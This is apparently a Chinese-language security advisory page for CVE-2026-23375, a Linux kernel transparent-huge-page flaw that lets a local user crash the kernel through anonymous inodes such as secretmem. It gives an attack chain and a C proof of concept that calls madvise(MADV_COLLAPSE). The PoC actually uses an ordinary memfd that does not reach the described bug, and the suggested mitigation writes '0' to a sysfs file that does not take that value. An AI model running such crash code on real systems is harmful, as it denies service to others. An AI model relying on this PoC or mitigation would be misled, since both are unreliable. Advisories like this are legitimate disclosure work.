IPBUF安全漏洞报告
English
CVE-2026-23375 CVSS 5.5 中危

CVE-2026-23375: Linux内核THP内存管理漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23375
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDenial of ServiceTHPMemory ManagementLocal Privilege

漏洞概述

Linux内核中的透明大页(THP)机制存在逻辑缺陷,错误地允许对匿名inode(如guest_memfd和secretmem)上的文件启用THP折叠。由于这些文件通过alloc_file_pseudo()创建且未调用get_write_access(),系统将其误识别为只读常规文件。当CONFIG_READ_ONLY_THP_FOR_FS启用时,内核尝试对这些不支持的内存区域进行大页折叠,导致guest_memfd触发警告或secretmem因访问已移除的直接映射而引发内核崩溃,从而造成本地拒绝服务。

技术细节

该漏洞源于file_thp_enabled()函数的判断逻辑不足。该函数检查S_ISREG(inode->i_mode)和inode_is_open_for_write(),由于匿名inode的i_writecount始终为0(未通过VFS open路径增加),它们被误判为符合条件的只读文件。在启用CONFIG_READ_ONLY_THP_FOR_FS的系统中,khugepaged或MADV_COLLAPSE会尝试对这些文件执行collapse_file()操作。对于secretmem,其页面已从直接映射移除,collapse_file()尝试通过memcpy访问直接映射地址时会导致页错误崩溃(BUG: unable to handle page fault)。对于guest_memfd,其fault handler不支持大页,会触发WARN_ON_ONCE断言。补丁通过增加IS_ANON_FILE(inode)检查来彻底排除匿名inode的THP资格。

攻击链分析

STEP 1
本地访问获取
攻击者需要具备本地低权限用户访问权限(PR:L),能够执行代码创建文件描述符。
STEP 2
创建匿名Inode
攻击者调用系统调用(如secretmem或guest_memfd相关接口)创建匿名inode文件。
STEP 3
触发内存折叠
攻击者通过madvise(MADV_COLLAPSE)或等待khugepaged扫描,诱导内核尝试将这些文件页折叠为大页。
STEP 4
内核崩溃
内核在处理折叠时访问无效的直接映射地址或触发不支持的断言,导致系统崩溃或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <fcntl.h> #include <linux/memfd.h> #include <sys/syscall.h> // Wrapper for memfd_create if not in libc static int memfd_create(const char *name, unsigned int flags) { return syscall(__NR_memfd_create, name, flags); } int main() { // Attempt to create a secretmem fd (requires kernel support) // Fallback to regular memfd if secretmem not available to demonstrate logic int fd = memfd_create("test_poc", MFD_CLOEXEC); if (fd < 0) { perror("memfd_create"); return 1; } // Write some data to allocate pages char data[4096] = {0}; write(fd, data, sizeof(data)); // Map the memory void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); if (addr == MAP_FAILED) { perror("mmap"); close(fd); return 1; } printf("Triggering MADV_COLLAPSE on anonymous inode file...\n"); // Trigger the khugepaged/collapse logic // This may crash the kernel if the bug is present and using secretmem if (madvise(addr, 4096, MADV_COLLAPSE) < 0) { perror("madvise"); } else { printf("MADV_COLLAPSE executed. Check kernel logs for WARN_ON or crash.\n"); } munmap(addr, 4096); close(fd); return 0; }

影响范围

Linux Kernel (Stable branches prior to patch 0524ee56af2c9bfbad152a810f1ca95de8ca00d7)

防御指南

临时缓解措施
可以通过禁用CONFIG_READ_ONLY_THP_FOR_FS配置选项或关闭khugepaged(echo 0 > /sys/kernel/mm/transparent_hugepage/enabled)作为临时缓解措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表